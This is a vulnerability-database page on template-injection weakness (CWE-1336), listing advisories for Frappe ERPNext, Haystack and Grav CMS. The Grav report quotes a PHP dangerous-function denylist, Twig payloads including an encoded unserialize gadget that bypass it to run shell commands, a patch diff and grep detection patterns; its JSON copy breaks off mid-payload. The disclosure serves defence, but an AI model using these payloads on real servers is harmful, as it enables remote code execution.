Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

313 vulnerabilities reference this CWE, most recent first.

GHSA-HC98-XXM8-JFGJ

Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 21:30
VLAI
Details

An SSTI (Server-Side Template Injection) vulnerability exists in the get_contract_template method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (contract_terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Contract Template can inject arbitrary Jinja expressions into the contract_terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-66435"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-918",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T17:15:53Z",
    "severity": "MODERATE"
  },
  "details": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_contract_template method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (contract_terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Contract Template can inject arbitrary Jinja expressions into the contract_terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.",
  "id": "GHSA-hc98-xxm8-jfgj",
  "modified": "2025-12-16T21:30:52Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66435"
    },
    {
      "type": "WEB",
      "url": "https://iamanc.github.io/post/erpnext-ssti-bug-2"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/SSTI-bug-2-239e6086eadc80878e8fcc7b6c26a584?source=copy_link"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HX9V-6R9F-W677

Vulnerability from github – Published: 2024-07-31 18:50 – Updated: 2024-07-31 18:50
VLAI
Summary
Insecure Jinja2 templates rendered in Haystack Components can lead to RCE
Details

Impact

Haystack clients that let their users create and run Pipelines from scratch are vulnerable to remote code executions.

Certain Components in Haystack use Jinja2 templates, if anyone can create and render that template on the client machine they run any code.

Patches

The problem has been fixed with PRs deepset-ai/haystack#8095 and deepset-ai/haystack#8096.

Both have been released with Haystack 2.3.1.

Workarounds

Prevent users from running the affected Components, or only let users use preselected templates.

References

The list of impacted Components can be found in the release notes for 2.3.1. https://github.com/deepset-ai/haystack/releases/tag/v2.3.1

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "haystack-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-41950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-31T18:50:41Z",
    "nvd_published_at": "2024-07-31T16:15:04Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nHaystack clients that let their users create and run Pipelines from scratch are vulnerable to remote code executions.\n\nCertain Components in Haystack use Jinja2 templates, if anyone can create and render that template on the client machine they run any code.\n\n### Patches\n\nThe problem has been fixed with PRs deepset-ai/haystack#8095 and deepset-ai/haystack#8096.\n\nBoth have been released with Haystack `2.3.1`.\n\n### Workarounds\n\nPrevent users from running the affected Components, or only let users use preselected templates.\n\n### References\n\nThe list of impacted Components can be found in the release notes for `2.3.1`.\nhttps://github.com/deepset-ai/haystack/releases/tag/v2.3.1",
  "id": "GHSA-hx9v-6r9f-w677",
  "modified": "2024-07-31T18:50:41Z",
  "published": "2024-07-31T18:50:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/security/advisories/GHSA-hx9v-6r9f-w677"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41950"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/pull/8095"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/pull/8096"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/commit/3fed1366c448b02189851bf08166c1f6477a02b0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/commit/6c25a5c73e83aa32c3241ba84a5cbb3ac0e8a89e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/deepset-ai/haystack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/releases/tag/v2.3.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Insecure Jinja2 templates rendered in Haystack Components can lead to RCE"
}

GHSA-J3V8-V77F-FVGM

Vulnerability from github – Published: 2023-06-16 19:36 – Updated: 2023-06-16 19:36
VLAI
Summary
Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability
Details

Hi,

actually we have sent the bug report to security@getgrav.org on 27th March 2023 and on 10th April 2023.

Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability

Summary:

Product Grav CMS
Vendor Grav
Severity High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution
Affected Versions <= v1.7.40 (Commit 685d762) (Latest version as of writing)
Tested Versions v1.7.40
Internal Identifier STAR-2023-0006
CVE Identifier Reserved CVE-2023-30592, CVE-2023-30593, CVE-2023-30594
CWE(s) CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

CVSS3.1 Scoring System:

Base Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
| Metric | Value | | ---------------------------- | --------- | | Attack Vector (AV) | Network | | Attack Complexity (AC) | Low | | Privileges Required (PR) | High | | User Interaction (UI) | None | | Scope (S) | Unchanged | | Confidentiality (C) | High | | Integrity (I) | High | | Availability (A) | High |

Product Overview:

Grav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.

Vulnerability Summary:

The denylist introduced in commit 9d6a2d to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.

Vulnerability Details:

In addressing CVE-2022-2073, a denylist was introduced in commit 9d6a2d to validate and ensure that dangerous functions could not be executed via injection of malicious templates.

The implementation of the denylist can be found in Utils::isDangerousFunction() within /system/src/Grav/Common/Utils.php:

    /**
     * @param string $name
     * @return bool
     */
    public static function isDangerousFunction(string $name): bool
    {
        static $commandExecutionFunctions = [
            'exec',
            'passthru',
            'system',
            'shell_exec',
            'popen',
            'proc_open',
            'pcntl_exec',
        ];

        static $codeExecutionFunctions = [
            'assert',
            'preg_replace',
            'create_function',
            'include',
            'include_once',
            'require',
            'require_once'
        ];

        static $callbackFunctions = [
            'ob_start' => 0,
            'array_diff_uassoc' => -1,
            'array_diff_ukey' => -1,
            'array_filter' => 1,
            'array_intersect_uassoc' => -1,
            'array_intersect_ukey' => -1,
            'array_map' => 0,
            'array_reduce' => 1,
            'array_udiff_assoc' => -1,
            'array_udiff_uassoc' => [-1, -2],
            'array_udiff' => -1,
            'array_uintersect_assoc' => -1,
            'array_uintersect_uassoc' => [-1, -2],
            'array_uintersect' => -1,
            'array_walk_recursive' => 1,
            'array_walk' => 1,
            'assert_options' => 1,
            'uasort' => 1,
            'uksort' => 1,
            'usort' => 1,
            'preg_replace_callback' => 1,
            'spl_autoload_register' => 0,
            'iterator_apply' => 1,
            'call_user_func' => 0,
            'call_user_func_array' => 0,
            'register_shutdown_function' => 0,
            'register_tick_function' => 0,
            'set_error_handler' => 0,
            'set_exception_handler' => 0,
            'session_set_save_handler' => [0, 1, 2, 3, 4, 5],
            'sqlite_create_aggregate' => [2, 3],
            'sqlite_create_function' => 2,
        ];

        static $informationDiscosureFunctions = [
            'phpinfo',
            'posix_mkfifo',
            'posix_getlogin',
            'posix_ttyname',
            'getenv',
            'get_current_user',
            'proc_get_status',
            'get_cfg_var',
            'disk_free_space',
            'disk_total_space',
            'diskfreespace',
            'getcwd',
            'getlastmo',
            'getmygid',
            'getmyinode',
            'getmypid',
            'getmyuid'
        ];

        static $otherFunctions = [
            'extract',
            'parse_str',
            'putenv',
            'ini_set',
            'mail',
            'header',
            'proc_nice',
            'proc_terminate',
            'proc_close',
            'pfsockopen',
            'fsockopen',
            'apache_child_terminate',
            'posix_kill',
            'posix_mkfifo',
            'posix_setpgid',
            'posix_setsid',
            'posix_setuid',
        ];

        if (in_array($name, $commandExecutionFunctions)) {
            return true;
        }

        if (in_array($name, $codeExecutionFunctions)) {
            return true;
        }

        if (isset($callbackFunctions[$name])) {
            return true;
        }

        if (in_array($name, $informationDiscosureFunctions)) {
            return true;
        }

        if (in_array($name, $otherFunctions)) {
            return true;
        }

        return static::isFilesystemFunction($name);
    }

    /**
     * @param string $name
     * @return bool
     */
    public static function isFilesystemFunction(string $name): bool
    {
        static $fileWriteFunctions = [
            'fopen',
            'tmpfile',
            'bzopen',
            'gzopen',
            // write to filesystem (partially in combination with reading)
            'chgrp',
            'chmod',
            'chown',
            'copy',
            'file_put_contents',
            'lchgrp',
            'lchown',
            'link',
            'mkdir',
            'move_uploaded_file',
            'rename',
            'rmdir',
            'symlink',
            'tempnam',
            'touch',
            'unlink',
            'imagepng',
            'imagewbmp',
            'image2wbmp',
            'imagejpeg',
            'imagexbm',
            'imagegif',
            'imagegd',
            'imagegd2',
            'iptcembed',
            'ftp_get',
            'ftp_nb_get',
        ];

        static $fileContentFunctions = [
            'file_get_contents',
            'file',
            'filegroup',
            'fileinode',
            'fileowner',
            'fileperms',
            'glob',
            'is_executable',
            'is_uploaded_file',
            'parse_ini_file',
            'readfile',
            'readlink',
            'realpath',
            'gzfile',
            'readgzfile',
            'stat',
            'imagecreatefromgif',
            'imagecreatefromjpeg',
            'imagecreatefrompng',
            'imagecreatefromwbmp',
            'imagecreatefromxbm',
            'imagecreatefromxpm',
            'ftp_put',
            'ftp_nb_put',
            'hash_update_file',
            'highlight_file',
            'show_source',
            'php_strip_whitespace',
        ];

        static $filesystemFunctions = [
            // read from filesystem
            'file_exists',
            'fileatime',
            'filectime',
            'filemtime',
            'filesize',
            'filetype',
            'is_dir',
            'is_file',
            'is_link',
            'is_readable',
            'is_writable',
            'is_writeable',
            'linkinfo',
            'lstat',
            //'pathinfo',
            'getimagesize',
            'exif_read_data',
            'read_exif_data',
            'exif_thumbnail',
            'exif_imagetype',
            'hash_file',
            'hash_hmac_file',
            'md5_file',
            'sha1_file',
            'get_meta_tags',
        ];

        if (in_array($name, $fileWriteFunctions)) {
            return true;
        }

        if (in_array($name, $fileContentFunctions)) {
            return true;
        }

        if (in_array($name, $filesystemFunctions)) {
            return true;
        }

        return false;
    }

The list of banned functions appears to be adapted from a StackOverflow post. While the denylist looks rather comprehensive, there are actually multiple issues with the denylist implementation: 1. There may be unsafe functions, be it built-in to PHP or user-defined, which are not be blocked. For example, unserialize() and aliases of blocked functions, such as ini_alter(), are not being included in the denylist.
2. A case-sensitive comparison is performed against the denylist, but PHP function names are case-insensitive. This allows using filter('SYSTEM') to trivially bypass the denylist validation check.
3. Fully qualified names can be used when referencing functions, allowing filter('\system') to trivially bypass the denylist validation checks.

Exploit Conditions:

This vulnerability can be exploited if the attacker has access to: 1. an administrator account, or 2. a non-administrative user account with the following permissions granted: - login access to Grav admin panel, and - page creation or update rights

Reproduction Steps:

  1. Log in to Grav Admin using an administrator account.
  2. Navigate to Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user:
    • Login to Admin - Allowed
    • Page Update - Allowed
  3. Log out of Grav Admin, and log back in using the account created in step 2.
  4. Navigate to http://<grav_installation>/admin/pages/home.
  5. Click the Advanced tab and select the checkbox beside Twig to ensure that Twig processing is enabled for the modified webpage.
  6. Under the Content tab, insert the following payload within the editor: ~~~twig // Method 1: Using unserialize() to trigger system('id') call // Serialized payloaed generated using the phpggc tool: ./phpggc -b Monolog/RCE7 system 'id' // {{ 'TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aTowO319czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czozOiJwb3MiO2k6MTtzOjY6InN5c3RlbSI7fX0=' | base64_decode | array | filter('unserialize') }}

// Method 2: Trigger system('id') via case-insensitive function names {{ ['id'] | filter('System') }}

// Method 3: Trigger system('id') via fully qualified names when referencing functions {{ ['id'] | filter('\system') }} ~~~
7. Click the Preview button. Observe that the output of the id shell command is returned in the preview.

Suggested Mitigations:

It is recommended to review the list of functions, both default functions in PHP and user-defined functions, and include missing unsafe functions in the denylist. A non-exhaustive list of missing unsafe functions discovered is shown below: - unserialize() - ini_alter() - simplexml_load_file() - simplexml_load_string() - forward_static_call() - forward_static_call_array()

The Utils::isDangerousFunction() function in /system/src/Grav/Common/Utils.php should also be patched to disallow usage of fully qualified names when specifying callables, as well as ensure that validation performed on the $name parameter is case-insensitive.

For example, ~~~diff php ... abstract class Utils { ... /* * @param string $name * @return bool / public static function isDangerousFunction(string $name): bool { ... + if ($arrow instanceof Closure) { + return false; + }

  • $name = strtolower($name);
  • if (strpos($name, "\") !== false) {
  • return false;
  • }
    if (in_array($name, $commandExecutionFunctions)) {
        return true;
    }
    
    if (in_array($name, $codeExecutionFunctions)) {
        return true;
    }
    
    if (isset($callbackFunctions[$name])) {
        return true;
    }
    
    if (in_array($name, $informationDiscosureFunctions)) {
        return true;
    }
    
    if (in_array($name, $otherFunctions)) {
        return true;
    }
    
    return static::isFilesystemFunction($name);
    

    } ... } ~~~

End users should also ensure that twig.undefined_functions and twig.undefined_filters properties in /path/to/webroot/system/config/system.yaml configuration file are set to false to disallow Twig from treating undefined filters/functions as PHP functions and executing them.

Detection Guidance:

The following strategies may be used to detect potential exploitation attempts. 1. Searching within Markdown pages using the following shell command:
grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' /path/to/webroot/user/pages/ 2. Searching within Doctrine cache data using the following shell command:
grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/ 3. Searching within Twig cache using the following shell command: grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|twig_array_(filter|map|reduce))\s*\(' /path/to/webroot/cache/twig/ 4. Searching within compiled Twig template files using the following shell command:
grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\|\s*(filter|map|reduce))\s*\(' /path/to/webroot/cache/compiled/files/

Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at /path/to/webroot/logs/grav.log by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.

Credits:

Ngo Wei Lin (@Creastery) & Wang Hengyue (@w_hy_04) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

The scheduled disclosure date is 25th July, 2023. Disclosure at an earlier date is also possible if agreed upon by all parties.

Kindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:
1. CVE-2023-30592 Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of unsafe functions, such as unserialize(), that are not blocked. This is a bypass of CVE-2022-2073. 2. CVE-2023-30593 Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of capitalised names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073. 3. CVE-2023-30594 Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in Utils::isDangerousFunction() and to achieve remote code execution via usage of fully-qualified names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-16T19:36:52Z",
    "nvd_published_at": "2023-06-14T23:15:11Z",
    "severity": "HIGH"
  },
  "details": "Hi, \n\nactually we have sent the bug report to security@getgrav.org on 27th March 2023 and on 10th April 2023.\n\n# Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability\n\n## Summary:  \n| **Product**             | Grav CMS                                      |\n| ----------------------- | --------------------------------------------- |\n| **Vendor**              | Grav                                          |\n| **Severity**            | High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution |\n| **Affected Versions**   | \u003c= [v1.7.40](https://github.com/getgrav/grav/tree/1.7.40) (Commit [685d762](https://github.com/getgrav/grav/commit/685d76231a057416651ed192a6a2e83720800e61)) (Latest version as of writing) |\n| **Tested Versions**     | v1.7.40                                       |\n| **Internal Identifier** | STAR-2023-0006                                |\n| **CVE Identifier**      | Reserved CVE-2023-30592, CVE-2023-30593, CVE-2023-30594                                           |\n| **CWE(s)**              | CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |\n\n## CVSS3.1 Scoring System:  \n**Base Score:** 7.2 (High)  \n**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`  \n| **Metric**                   | **Value** |\n| ---------------------------- | --------- |\n| **Attack Vector (AV)**       | Network   |\n| **Attack Complexity (AC)**   | Low       |\n| **Privileges Required (PR)** | High      |\n| **User Interaction (UI)**    | None      |\n| **Scope (S)**                | Unchanged |\n| **Confidentiality \\(C)**     | High      |\n| **Integrity (I)**            | High      |\n| **Availability (A)**         | High      |\n\n## Product Overview:  \nGrav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.\n\n## Vulnerability Summary:  \nThe denylist introduced in commit [9d6a2d](https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83) to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.\n\n## Vulnerability Details:  \nIn addressing [CVE-2022-2073](https://huntr.dev/bounties/3ef640e6-9e25-4ecb-8ec1-64311d63fe66/), a denylist was introduced in commit [9d6a2d](https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83) to validate and ensure that dangerous functions could not be executed via injection of malicious templates.\n\nThe implementation of the denylist can be found in `Utils::isDangerousFunction()` within [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1952-L2190):\n~~~php\n    /**\n     * @param string $name\n     * @return bool\n     */\n    public static function isDangerousFunction(string $name): bool\n    {\n        static $commandExecutionFunctions = [\n            \u0027exec\u0027,\n            \u0027passthru\u0027,\n            \u0027system\u0027,\n            \u0027shell_exec\u0027,\n            \u0027popen\u0027,\n            \u0027proc_open\u0027,\n            \u0027pcntl_exec\u0027,\n        ];\n\n        static $codeExecutionFunctions = [\n            \u0027assert\u0027,\n            \u0027preg_replace\u0027,\n            \u0027create_function\u0027,\n            \u0027include\u0027,\n            \u0027include_once\u0027,\n            \u0027require\u0027,\n            \u0027require_once\u0027\n        ];\n\n        static $callbackFunctions = [\n            \u0027ob_start\u0027 =\u003e 0,\n            \u0027array_diff_uassoc\u0027 =\u003e -1,\n            \u0027array_diff_ukey\u0027 =\u003e -1,\n            \u0027array_filter\u0027 =\u003e 1,\n            \u0027array_intersect_uassoc\u0027 =\u003e -1,\n            \u0027array_intersect_ukey\u0027 =\u003e -1,\n            \u0027array_map\u0027 =\u003e 0,\n            \u0027array_reduce\u0027 =\u003e 1,\n            \u0027array_udiff_assoc\u0027 =\u003e -1,\n            \u0027array_udiff_uassoc\u0027 =\u003e [-1, -2],\n            \u0027array_udiff\u0027 =\u003e -1,\n            \u0027array_uintersect_assoc\u0027 =\u003e -1,\n            \u0027array_uintersect_uassoc\u0027 =\u003e [-1, -2],\n            \u0027array_uintersect\u0027 =\u003e -1,\n            \u0027array_walk_recursive\u0027 =\u003e 1,\n            \u0027array_walk\u0027 =\u003e 1,\n            \u0027assert_options\u0027 =\u003e 1,\n            \u0027uasort\u0027 =\u003e 1,\n            \u0027uksort\u0027 =\u003e 1,\n            \u0027usort\u0027 =\u003e 1,\n            \u0027preg_replace_callback\u0027 =\u003e 1,\n            \u0027spl_autoload_register\u0027 =\u003e 0,\n            \u0027iterator_apply\u0027 =\u003e 1,\n            \u0027call_user_func\u0027 =\u003e 0,\n            \u0027call_user_func_array\u0027 =\u003e 0,\n            \u0027register_shutdown_function\u0027 =\u003e 0,\n            \u0027register_tick_function\u0027 =\u003e 0,\n            \u0027set_error_handler\u0027 =\u003e 0,\n            \u0027set_exception_handler\u0027 =\u003e 0,\n            \u0027session_set_save_handler\u0027 =\u003e [0, 1, 2, 3, 4, 5],\n            \u0027sqlite_create_aggregate\u0027 =\u003e [2, 3],\n            \u0027sqlite_create_function\u0027 =\u003e 2,\n        ];\n\n        static $informationDiscosureFunctions = [\n            \u0027phpinfo\u0027,\n            \u0027posix_mkfifo\u0027,\n            \u0027posix_getlogin\u0027,\n            \u0027posix_ttyname\u0027,\n            \u0027getenv\u0027,\n            \u0027get_current_user\u0027,\n            \u0027proc_get_status\u0027,\n            \u0027get_cfg_var\u0027,\n            \u0027disk_free_space\u0027,\n            \u0027disk_total_space\u0027,\n            \u0027diskfreespace\u0027,\n            \u0027getcwd\u0027,\n            \u0027getlastmo\u0027,\n            \u0027getmygid\u0027,\n            \u0027getmyinode\u0027,\n            \u0027getmypid\u0027,\n            \u0027getmyuid\u0027\n        ];\n\n        static $otherFunctions = [\n            \u0027extract\u0027,\n            \u0027parse_str\u0027,\n            \u0027putenv\u0027,\n            \u0027ini_set\u0027,\n            \u0027mail\u0027,\n            \u0027header\u0027,\n            \u0027proc_nice\u0027,\n            \u0027proc_terminate\u0027,\n            \u0027proc_close\u0027,\n            \u0027pfsockopen\u0027,\n            \u0027fsockopen\u0027,\n            \u0027apache_child_terminate\u0027,\n            \u0027posix_kill\u0027,\n            \u0027posix_mkfifo\u0027,\n            \u0027posix_setpgid\u0027,\n            \u0027posix_setsid\u0027,\n            \u0027posix_setuid\u0027,\n        ];\n\n        if (in_array($name, $commandExecutionFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $codeExecutionFunctions)) {\n            return true;\n        }\n\n        if (isset($callbackFunctions[$name])) {\n            return true;\n        }\n\n        if (in_array($name, $informationDiscosureFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $otherFunctions)) {\n            return true;\n        }\n\n        return static::isFilesystemFunction($name);\n    }\n\n    /**\n     * @param string $name\n     * @return bool\n     */\n    public static function isFilesystemFunction(string $name): bool\n    {\n        static $fileWriteFunctions = [\n            \u0027fopen\u0027,\n            \u0027tmpfile\u0027,\n            \u0027bzopen\u0027,\n            \u0027gzopen\u0027,\n            // write to filesystem (partially in combination with reading)\n            \u0027chgrp\u0027,\n            \u0027chmod\u0027,\n            \u0027chown\u0027,\n            \u0027copy\u0027,\n            \u0027file_put_contents\u0027,\n            \u0027lchgrp\u0027,\n            \u0027lchown\u0027,\n            \u0027link\u0027,\n            \u0027mkdir\u0027,\n            \u0027move_uploaded_file\u0027,\n            \u0027rename\u0027,\n            \u0027rmdir\u0027,\n            \u0027symlink\u0027,\n            \u0027tempnam\u0027,\n            \u0027touch\u0027,\n            \u0027unlink\u0027,\n            \u0027imagepng\u0027,\n            \u0027imagewbmp\u0027,\n            \u0027image2wbmp\u0027,\n            \u0027imagejpeg\u0027,\n            \u0027imagexbm\u0027,\n            \u0027imagegif\u0027,\n            \u0027imagegd\u0027,\n            \u0027imagegd2\u0027,\n            \u0027iptcembed\u0027,\n            \u0027ftp_get\u0027,\n            \u0027ftp_nb_get\u0027,\n        ];\n\n        static $fileContentFunctions = [\n            \u0027file_get_contents\u0027,\n            \u0027file\u0027,\n            \u0027filegroup\u0027,\n            \u0027fileinode\u0027,\n            \u0027fileowner\u0027,\n            \u0027fileperms\u0027,\n            \u0027glob\u0027,\n            \u0027is_executable\u0027,\n            \u0027is_uploaded_file\u0027,\n            \u0027parse_ini_file\u0027,\n            \u0027readfile\u0027,\n            \u0027readlink\u0027,\n            \u0027realpath\u0027,\n            \u0027gzfile\u0027,\n            \u0027readgzfile\u0027,\n            \u0027stat\u0027,\n            \u0027imagecreatefromgif\u0027,\n            \u0027imagecreatefromjpeg\u0027,\n            \u0027imagecreatefrompng\u0027,\n            \u0027imagecreatefromwbmp\u0027,\n            \u0027imagecreatefromxbm\u0027,\n            \u0027imagecreatefromxpm\u0027,\n            \u0027ftp_put\u0027,\n            \u0027ftp_nb_put\u0027,\n            \u0027hash_update_file\u0027,\n            \u0027highlight_file\u0027,\n            \u0027show_source\u0027,\n            \u0027php_strip_whitespace\u0027,\n        ];\n\n        static $filesystemFunctions = [\n            // read from filesystem\n            \u0027file_exists\u0027,\n            \u0027fileatime\u0027,\n            \u0027filectime\u0027,\n            \u0027filemtime\u0027,\n            \u0027filesize\u0027,\n            \u0027filetype\u0027,\n            \u0027is_dir\u0027,\n            \u0027is_file\u0027,\n            \u0027is_link\u0027,\n            \u0027is_readable\u0027,\n            \u0027is_writable\u0027,\n            \u0027is_writeable\u0027,\n            \u0027linkinfo\u0027,\n            \u0027lstat\u0027,\n            //\u0027pathinfo\u0027,\n            \u0027getimagesize\u0027,\n            \u0027exif_read_data\u0027,\n            \u0027read_exif_data\u0027,\n            \u0027exif_thumbnail\u0027,\n            \u0027exif_imagetype\u0027,\n            \u0027hash_file\u0027,\n            \u0027hash_hmac_file\u0027,\n            \u0027md5_file\u0027,\n            \u0027sha1_file\u0027,\n            \u0027get_meta_tags\u0027,\n        ];\n\n        if (in_array($name, $fileWriteFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $fileContentFunctions)) {\n            return true;\n        }\n\n        if (in_array($name, $filesystemFunctions)) {\n            return true;\n        }\n\n        return false;\n    }\n~~~\n\nThe list of banned functions appears to be adapted from a [StackOverflow post](https://stackoverflow.com/a/3697776). While the denylist looks rather comprehensive, there are actually multiple issues with the denylist implementation:\n1. There may be unsafe functions, be it built-in to PHP or user-defined, which are not be blocked. For example, `unserialize()` and aliases of blocked functions, such as `ini_alter()`, are not being included in the denylist.  \n2. A case-sensitive comparison is performed against the denylist, but PHP function names are case-insensitive. This allows using `filter(\u0027SYSTEM\u0027)` to trivially bypass the denylist validation check.  \n3. Fully qualified names can be used when referencing functions, allowing `filter(\u0027\\system\u0027)` to trivially bypass the denylist validation checks.  \n\n## Exploit Conditions:    \nThis vulnerability can be exploited if the attacker has access to:\n1. an administrator account, or\n2. a non-administrative user account with the following permissions granted:\n    - login access to Grav admin panel, and\n    - page creation or update rights\n\n## Reproduction Steps:  \n1. Log in to Grav Admin using an administrator account.\n2. Navigate to `Accounts \u003e Add`, and ensure that the following permissions are assigned when creating a new low-privileged user:\n    * Login to Admin - Allowed\n    * Page Update - Allowed\n3. Log out of Grav Admin, and log back in using the account created in step 2.\n4. Navigate to `http://\u003cgrav_installation\u003e/admin/pages/home`.\n5. Click the `Advanced` tab and select the checkbox beside `Twig` to ensure that Twig processing is enabled for the modified webpage.\n6. Under the `Content` tab, insert the following payload within the editor:\n   ~~~twig\n   // Method 1: Using unserialize() to trigger 